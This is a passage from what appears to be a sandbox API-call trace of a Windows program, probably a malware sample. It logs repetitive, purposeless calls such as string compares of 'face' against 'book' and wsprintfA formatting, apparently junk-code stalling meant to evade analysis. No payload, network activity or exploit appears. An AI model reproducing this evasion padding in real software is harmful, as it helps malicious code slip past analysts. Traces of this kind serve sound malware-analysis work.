0xffffffff [0041.676] GetLastError () returned 0x57 [0041.676] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2CBFP") returned 5 [0041.676] SetLastError (dwErrCode=0x57) [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetLastError () returned 0x57 [0041.676] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2CC0P") returned 5 [0041.676] SetLastError (dwErrCode=0x57) [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] lstrlenA (lpString="just string") returned 11 [0041.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.676] GetLastError () returned 0x57 [0041.676] GetCurrentProcess () returned 0xffffffff [0041.676] GetLastError () returned 0x57 [0041.676] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2CF1P") returned 5 [0041.676] SetLastError (dwErrCode=0x57) [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetLastError () returned 0x57 [0041.676] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2CF2P") returned 5 [0041.676] SetLastError (dwErrCode=0x57) [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] lstrlenA (lpString="just string") returned 11 [0041.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.676] GetLastError () returned 0x57 [0041.676] lstrlenA (lpString="just string") returned 11 [0041.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.676] GetLastError () returned 0x57 [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] lstrlenA (lpString="just string") returned 11 [0041.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.676] GetLastError () returned 0x57 [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] lstrlenA (lpString="just string") returned 11 [0041.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.676] GetLastError () returned 0x57 [0041.676] GetLastError () returned 0x57 [0041.676] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2D92P") returned 5 [0041.676] SetLastError (dwErrCode=0x57) [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] GetCurrentProcessId () returned 0x81c [0041.676] lstrlenA (lpString="just string") returned 11 [0041.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.677] GetLastError () returned 0x57 [0041.677] GetLastError () returned 0x57 [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] lstrlenA (lpString="just string") returned 11 [0041.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.677] GetLastError () returned 0x57 [0041.677] GetLastError () returned 0x57 [0041.677] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.677] SetLastError (dwErrCode=0x57) [0041.677] GetCurrentProcess () returned 0xffffffff [0041.677] GetLastError () returned 0x57 [0041.677] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2E08P") returned 5 [0041.677] SetLastError (dwErrCode=0x57) [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] GetCurrentProcess () returned 0xffffffff [0041.677] GetLastError () returned 0x57 [0041.677] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2E09P") returned 5 [0041.677] SetLastError (dwErrCode=0x57) [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] GetLastError () returned 0x57 [0041.677] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2E0AP") returned 5 [0041.677] SetLastError (dwErrCode=0x57) [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] lstrlenA (lpString="just string") returned 11 [0041.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.677] GetLastError () returned 0x57 [0041.677] GetLastError () returned 0x57 [0041.677] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2E46P") returned 5 [0041.677] SetLastError (dwErrCode=0x57) [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] lstrlenA (lpString="just string") returned 11 [0041.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.677] GetLastError () returned 0x57 [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] lstrlenA (lpString="just string") returned 11 [0041.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.677] GetLastError () returned 0x57 [0041.677] GetCurrentProcessId () returned 0x81c [0041.677] lstrlenA (lpString="just string") returned 11 [0041.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.678] GetLastError () returned 0x57 [0041.678] GetCurrentProcessId () returned 0x81c [0041.678] GetCurrentProcessId () returned 0x81c [0041.678] GetCurrentProcessId () returned 0x81c [0041.679] lstrlenA (lpString="just string") returned 11 [0041.679] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.679] GetLastError () returned 0x57 [0041.679] GetLastError () returned 0x57 [0041.679] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.679] SetLastError (dwErrCode=0x57) [0041.679] GetCurrentProcess () returned 0xffffffff [0041.679] GetLastError () returned 0x57 [0041.679] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2EC6P") returned 5 [0041.679] SetLastError (dwErrCode=0x57) [0041.679] GetCurrentProcessId () returned 0x81c [0041.679] GetCurrentProcess () returned 0xffffffff [0041.679] GetLastError () returned 0x57 [0041.679] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2EC7P") returned 5 [0041.679] SetLastError (dwErrCode=0x57) [0041.679] GetCurrentProcessId () returned 0x81c [0041.679] GetLastError () returned 0x57 [0041.679] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2EC8P") returned 5 [0041.679] SetLastError (dwErrCode=0x57) [0041.679] GetCurrentProcessId () returned 0x81c [0041.679] GetCurrentProcessId () returned 0x81c [0041.679] GetCurrentProcessId () returned 0x81c [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] lstrlenA (lpString="just string") returned 11 [0041.680] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.680] GetLastError () returned 0x57 [0041.680] GetLastError () returned 0x57 [0041.680] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.680] SetLastError (dwErrCode=0x57) [0041.680] GetCurrentProcess () returned 0xffffffff [0041.680] GetLastError () returned 0x57 [0041.680] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2EF8P") returned 5 [0041.680] SetLastError (dwErrCode=0x57) [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] GetCurrentProcess () returned 0xffffffff [0041.680] GetLastError () returned 0x57 [0041.680] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2EF9P") returned 5 [0041.680] SetLastError (dwErrCode=0x57) [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] GetLastError () returned 0x57 [0041.680] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2EFAP") returned 5 [0041.680] SetLastError (dwErrCode=0x57) [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] lstrlenA (lpString="just string") returned 11 [0041.680] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.680] GetLastError () returned 0x57 [0041.680] GetCurrentProcess () returned 0xffffffff [0041.680] GetLastError () returned 0x57 [0041.680] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2F03P") returned 5 [0041.680] SetLastError (dwErrCode=0x57) [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] GetLastError () returned 0x57 [0041.680] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2F04P") returned 5 [0041.680] SetLastError (dwErrCode=0x57) [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] lstrlenA (lpString="just string") returned 11 [0041.680] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.680] GetLastError () returned 0x57 [0041.680] GetCurrentProcessId () returned 0x81c [0041.680] GetCurrentProcessId () returned 0x81c [0041.681] GetCurrentProcessId () returned 0x81c [0041.681] lstrlenA (lpString="just string") returned 11 [0041.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.681] GetLastError () returned 0x57 [0041.681] GetLastError () returned 0x57 [0041.681] GetCurrentProcess () returned 0xffffffff [0041.681] GetLastError () returned 0x57 [0041.681] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2FB7P") returned 5 [0041.681] SetLastError (dwErrCode=0x57) [0041.681] GetCurrentProcessId () returned 0x81c [0041.681] GetLastError () returned 0x57 [0041.681] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2FB8P") returned 5 [0041.681] SetLastError (dwErrCode=0x57) [0041.681] GetCurrentProcessId () returned 0x81c [0041.681] GetCurrentProcessId () returned 0x81c [0041.681] GetCurrentProcessId () returned 0x81c [0041.681] GetCurrentProcessId () returned 0x81c [0041.681] lstrlenA (lpString="just string") returned 11 [0041.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.681] GetLastError () returned 0x57 [0041.681] GetLastError () returned 0x57 [0041.681] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.681] SetLastError (dwErrCode=0x57) [0041.681] GetCurrentProcess () returned 0xffffffff [0041.681] GetLastError () returned 0x57 [0041.681] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2FF2P") returned 5 [0041.681] SetLastError (dwErrCode=0x57) [0041.681] GetCurrentProcessId () returned 0x81c [0041.681] GetCurrentProcess () returned 0xffffffff [0041.681] GetLastError () returned 0x57 [0041.681] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2FF3P") returned 5 [0041.681] SetLastError (dwErrCode=0x57) [0041.681] GetCurrentProcessId () returned 0x81c [0041.681] GetLastError () returned 0x57 [0041.681] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2FF4P") returned 5 [0041.681] SetLastError (dwErrCode=0x57) [0041.681] GetCurrentProcessId () returned 0x81c [0041.681] GetCurrentProcessId () returned 0x81c [0041.681] GetCurrentProcessId () returned 0x81c [0041.681] GetCurrentProcessId () returned 0x81c [0041.681] lstrlenA (lpString="just string") returned 11 [0041.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.681] GetLastError () returned 0x57 [0041.681] lstrlenA (lpString="just string") returned 11 [0041.681] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.681] GetLastError () returned 0x57 [0041.681] GetLastError () returned 0x57 [0041.682] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="301CP") returned 5 [0041.682] SetLastError (dwErrCode=0x57) [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] lstrlenA (lpString="just string") returned 11 [0041.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.682] GetLastError () returned 0x57 [0041.682] lstrlenA (lpString="just string") returned 11 [0041.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.682] GetLastError () returned 0x57 [0041.682] GetLastError () returned 0x57 [0041.682] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.682] SetLastError (dwErrCode=0x57) [0041.682] GetCurrentProcess () returned 0xffffffff [0041.682] GetLastError () returned 0x57 [0041.682] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3060P") returned 5 [0041.682] SetLastError (dwErrCode=0x57) [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] GetCurrentProcess () returned 0xffffffff [0041.682] GetLastError () returned 0x57 [0041.682] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3061P") returned 5 [0041.682] SetLastError (dwErrCode=0x57) [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] GetLastError () returned 0x57 [0041.682] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3062P") returned 5 [0041.682] SetLastError (dwErrCode=0x57) [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] lstrlenA (lpString="just string") returned 11 [0041.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.682] GetLastError () returned 0x57 [0041.682] GetLastError () returned 0x57 [0041.682] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="309EP") returned 5 [0041.682] SetLastError (dwErrCode=0x57) [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] GetCurrentProcessId () returned 0x81c [0041.682] lstrlenA (lpString="just string") returned 11 [0041.682] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.682] GetLastError () returned 0x57 [0041.683] GetLastError () returned 0x57 [0041.683] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.683] SetLastError (dwErrCode=0x57) [0041.683] GetCurrentProcess () returned 0xffffffff [0041.683] GetLastError () returned 0x57 [0041.683] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="30BAP") returned 5 [0041.683] SetLastError (dwErrCode=0x57) [0041.683] GetCurrentProcessId () returned 0x81c [0041.683] GetCurrentProcess () returned 0xffffffff [0041.683] GetLastError () returned 0x57 [0041.683] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="30BBP") returned 5 [0041.683] SetLastError (dwErrCode=0x57) [0041.683] GetCurrentProcessId () returned 0x81c [0041.683] GetLastError () returned 0x57 [0041.683] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="30BCP") returned 5 [0041.683] SetLastError (dwErrCode=0x57) [0041.683] GetCurrentProcessId () returned 0x81c [0041.683] GetCurrentProcessId () returned 0x81c [0041.683] GetCurrentProcessId () returned 0x81c [0041.683] GetCurrentProcessId () returned 0x81c [0041.683] lstrlenA (lpString="just string") returned 11 [0041.683] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.683] GetLastError () returned 0x57 [0041.683] GetCurrentProcessId () returned 0x81c [0041.683] GetCurrentProcessId () returned 0x81c [0041.683] lstrlenA (lpString="just string") returned 11 [0041.683] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.683] GetLastError () returned 0x57 [0041.683] GetLastError () returned 0x57 [0041.683] GetLastError () returned 0x57 [0041.683] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.683] SetLastError (dwErrCode=0x57) [0041.683] GetCurrentProcess () returned 0xffffffff [0041.683] GetLastError () returned 0x57 [0041.683] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3128P") returned 5 [0041.683] SetLastError (dwErrCode=0x57) [0041.683] GetCurrentProcessId () returned 0x81c [0041.683] GetCurrentProcess () returned 0xffffffff [0041.683] GetLastError () returned 0x57 [0041.683] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3129P") returned 5 [0041.684] SetLastError (dwErrCode=0x57) [0041.684] GetCurrentProcessId () returned 0x81c [0041.684] GetLastError () returned 0x57 [0041.684] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="312AP") returned 5 [0041.684] SetLastError (dwErrCode=0x57) [0041.684] GetCurrentProcessId () returned 0x81c [0041.684] GetCurrentProcessId () returned 0x81c [0041.684] GetCurrentProcessId () returned 0x81c [0041.684] GetCurrentProcessId () returned 0x81c [0041.684] lstrlenA (lpString="just string") returned 11 [0041.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.684] GetLastError () returned 0x57 [0041.684] GetLastError () returned 0x57 [0041.684] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.684] SetLastError (dwErrCode=0x57) [0041.684] GetCurrentProcess () returned 0xffffffff [0041.684] GetLastError () returned 0x57 [0041.684] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3182P") returned 5 [0041.684] SetLastError (dwErrCode=0x57) [0041.684] GetCurrentProcessId () returned 0x81c [0041.684] GetCurrentProcess () returned 0xffffffff [0041.684] GetLastError () returned 0x57 [0041.684] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3183P") returned 5 [0041.684] SetLastError (dwErrCode=0x57) [0041.684] GetCurrentProcessId () returned 0x81c [0041.684] GetLastError () returned 0x57 [0041.684] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3184P") returned 5 [0041.684] SetLastError (dwErrCode=0x57) [0041.684] GetCurrentProcessId () returned 0x81c [0041.684] GetCurrentProcessId () returned 0x81c [0041.684] GetCurrentProcessId () returned 0x81c [0041.684] GetCurrentProcessId () returned 0x81c [0041.684] lstrlenA (lpString="just string") returned 11 [0041.684] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.684] GetLastError () returned 0x57 [0041.684] GetLastError () returned 0x57 [0041.684] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.684] SetLastError (dwErrCode=0x57) [0041.684] GetCurrentProcess () returned 0xffffffff [0041.684] GetLastError () returned 0x57 [0041.684] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="31A0P") returned 5 [0041.684] SetLastError (dwErrCode=0x57) [0041.684] GetCurrentProcessId () returned 0x81c [0041.684] GetCurrentProcess () returned 0xffffffff [0041.684] GetLastError () returned 0x57 [0041.685] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="31A1P") returned 5 [0041.685] SetLastError (dwErrCode=0x57) [0041.685] GetCurrentProcessId () returned 0x81c [0041.685] GetLastError () returned 0x57 [0041.685] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="31A2P") returned 5 [0041.685] SetLastError (dwErrCode=0x57) [0041.685] GetCurrentProcessId () returned 0x81c [0041.685] GetCurrentProcessId () returned 0x81c [0041.685] GetCurrentProcessId () returned 0x81c [0041.685] GetCurrentProcessId () returned 0x81c [0041.685] lstrlenA (lpString="just string") returned 11 [0041.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.685] GetLastError () returned 0x57 [0041.685] GetCurrentProcess () returned 0xffffffff [0041.685] GetLastError () returned 0x57 [0041.685] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="31E7P") returned 5 [0041.685] SetLastError (dwErrCode=0x57) [0041.685] GetCurrentProcessId () returned 0x81c [0041.685] GetLastError () returned 0x57 [0041.685] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="31E8P") returned 5 [0041.685] SetLastError (dwErrCode=0x57) [0041.685] GetCurrentProcessId () returned 0x81c [0041.685] GetCurrentProcessId () returned 0x81c [0041.685] GetCurrentProcessId () returned 0x81c [0041.685] GetCurrentProcessId () returned 0x81c [0041.685] lstrlenA (lpString="just string") returned 11 [0041.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.685] GetLastError () returned 0x57 [0041.685] GetCurrentProcessId () returned 0x81c [0041.685] lstrlenA (lpString="just string") returned 11 [0041.685] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.685] GetLastError () returned 0x57 [0041.685] GetLastError () returned 0x57 [0041.685] GetLastError () returned 0x57 [0041.685] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.685] SetLastError (dwErrCode=0x57) [0041.685] GetCurrentProcess () returned 0xffffffff [0041.685] GetLastError () returned 0x57 [0041.685] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3240P") returned 5 [0041.685] SetLastError (dwErrCode=0x57) [0041.685] GetCurrentProcessId () returned 0x81c [0041.685] GetCurrentProcess () returned 0xffffffff [0041.685] GetLastError () returned 0x57 [0041.685] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3241P") returned 5 [0041.686] SetLastError (dwErrCode=0x57) [0041.686] GetCurrentProcessId () returned 0x81c [0041.686] GetLastError () returned 0x57 [0041.686] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3242P") returned 5 [0041.686] SetLastError (dwErrCode=0x57) [0041.686] GetCurrentProcessId () returned 0x81c [0041.686] GetCurrentProcessId () returned 0x81c [0041.686] GetCurrentProcessId () returned 0x81c [0041.686] GetCurrentProcessId () returned 0x81c [0041.686] lstrlenA (lpString="just string") returned 11 [0041.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.686] GetLastError () returned 0x57 [0041.686] lstrlenA (lpString="just string") returned 11 [0041.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.686] GetLastError () returned 0x57 [0041.686] lstrlenA (lpString="just string") returned 11 [0041.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.686] GetLastError () returned 0x57 [0041.686] GetCurrentProcessId () returned 0x81c [0041.686] GetCurrentProcessId () returned 0x81c [0041.686] GetCurrentProcessId () returned 0x81c [0041.686] lstrlenA (lpString="just string") returned 11 [0041.686] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.686] GetLastError () returned 0x57 [0041.686] GetLastError () returned 0x57 [0041.686] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.686] SetLastError (dwErrCode=0x57) [0041.686] GetCurrentProcess () returned 0xffffffff [0041.686] GetLastError () returned 0x57 [0041.686] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="32AEP") returned 5 [0041.686] SetLastError (dwErrCode=0x57) [0041.686] GetCurrentProcessId () returned 0x81c [0041.686] GetCurrentProcess () returned 0xffffffff [0041.686] GetLastError () returned 0x57 [0041.686] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="32AFP") returned 5 [0041.686] SetLastError (dwErrCode=0x57) [0041.686] GetCurrentProcessId () returned 0x81c [0041.686] GetLastError () returned 0x57 [0041.686] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="32B0P") returned 5 [0041.686] SetLastError (dwErrCode=0x57) [0041.686] GetCurrentProcessId () returned 0x81c [0041.686] GetCurrentProcessId () returned 0x81c [0041.687] GetCurrentProcessId () returned 0x81c [0041.687] GetCurrentProcessId () returned 0x81c [0041.687] lstrlenA (lpString="just string") returned 11 [0041.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.687] GetLastError () returned 0x57 [0041.687] lstrlenA (lpString="just string") returned 11 [0041.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.687] GetLastError () returned 0x57 [0041.687] lstrlenA (lpString="just string") returned 11 [0041.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.687] GetLastError () returned 0x57 [0041.687] GetCurrentProcess () returned 0xffffffff [0041.687] GetLastError () returned 0x57 [0041.687] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3309P") returned 5 [0041.687] SetLastError (dwErrCode=0x57) [0041.687] GetCurrentProcessId () returned 0x81c [0041.687] GetLastError () returned 0x57 [0041.687] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="330AP") returned 5 [0041.687] SetLastError (dwErrCode=0x57) [0041.687] GetCurrentProcessId () returned 0x81c [0041.687] GetCurrentProcessId () returned 0x81c [0041.687] GetCurrentProcessId () returned 0x81c [0041.687] GetCurrentProcessId () returned 0x81c [0041.687] lstrlenA (lpString="just string") returned 11 [0041.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.687] GetLastError () returned 0x57 [0041.687] GetLastError () returned 0x57 [0041.687] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3332P") returned 5 [0041.687] SetLastError (dwErrCode=0x57) [0041.687] GetCurrentProcessId () returned 0x81c [0041.687] GetCurrentProcessId () returned 0x81c [0041.687] GetCurrentProcessId () returned 0x81c [0041.687] GetCurrentProcessId () returned 0x81c [0041.687] lstrlenA (lpString="just string") returned 11 [0041.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.687] GetLastError () returned 0x57 [0041.687] lstrlenA (lpString="just string") returned 11 [0041.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.687] GetLastError () returned 0x57 [0041.687] GetCurrentProcess () returned 0xffffffff [0041.687] GetLastError () returned 0x57 [0041.687] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="336DP") returned 5 [0041.687] SetLastError (dwErrCode=0x57) [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] GetLastError () returned 0x57 [0041.688] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="336EP") returned 5 [0041.688] SetLastError (dwErrCode=0x57) [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] lstrlenA (lpString="just string") returned 11 [0041.688] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.688] GetLastError () returned 0x57 [0041.688] GetLastError () returned 0x57 [0041.688] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.688] SetLastError (dwErrCode=0x57) [0041.688] GetCurrentProcess () returned 0xffffffff [0041.688] GetLastError () returned 0x57 [0041.688] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="33BCP") returned 5 [0041.688] SetLastError (dwErrCode=0x57) [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] GetCurrentProcess () returned 0xffffffff [0041.688] GetLastError () returned 0x57 [0041.688] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="33BDP") returned 5 [0041.688] SetLastError (dwErrCode=0x57) [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] GetLastError () returned 0x57 [0041.688] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="33BEP") returned 5 [0041.688] SetLastError (dwErrCode=0x57) [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] lstrlenA (lpString="just string") returned 11 [0041.688] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.688] GetLastError () returned 0x57 [0041.688] GetLastError () returned 0x57 [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] GetCurrentProcessId () returned 0x81c [0041.688] lstrlenA (lpString="just string") returned 11 [0041.688] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.688] GetLastError () returned 0x57 [0041.688] GetCurrentProcessId () returned 0x81c [0041.689] lstrlenA (lpString="just string") returned 11 [0041.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.689] GetLastError () returned 0x57 [0041.689] GetCurrentProcessId () returned 0x81c [0041.689] GetCurrentProcessId () returned 0x81c [0041.689] GetCurrentProcessId () returned 0x81c [0041.689] lstrlenA (lpString="just string") returned 11 [0041.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.689] GetLastError () returned 0x57 [0041.689] GetCurrentProcessId () returned 0x81c [0041.689] GetCurrentProcessId () returned 0x81c [0041.689] lstrlenA (lpString="just string") returned 11 [0041.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.689] GetLastError () returned 0x57 [0041.689] GetLastError () returned 0x57 [0041.689] lstrlenA (lpString="just string") returned 11 [0041.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.689] GetLastError () returned 0x57 [0041.689] GetCurrentProcessId () returned 0x81c [0041.689] lstrlenA (lpString="just string") returned 11 [0041.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.689] GetLastError () returned 0x57 [0041.689] GetLastError () returned 0x57 [0041.689] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.689] SetLastError (dwErrCode=0x57) [0041.689] GetCurrentProcess () returned 0xffffffff [0041.689] GetLastError () returned 0x57 [0041.689] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="34F2P") returned 5 [0041.689] SetLastError (dwErrCode=0x57) [0041.689] GetCurrentProcessId () returned 0x81c [0041.689] GetCurrentProcess () returned 0xffffffff [0041.689] GetLastError () returned 0x57 [0041.689] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="34F3P") returned 5 [0041.689] SetLastError (dwErrCode=0x57) [0041.689] GetCurrentProcessId () returned 0x81c [0041.689] GetLastError () returned 0x57 [0041.689] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="34F4P") returned 5 [0041.689] SetLastError (dwErrCode=0x57) [0041.689] GetCurrentProcessId () returned 0x81c 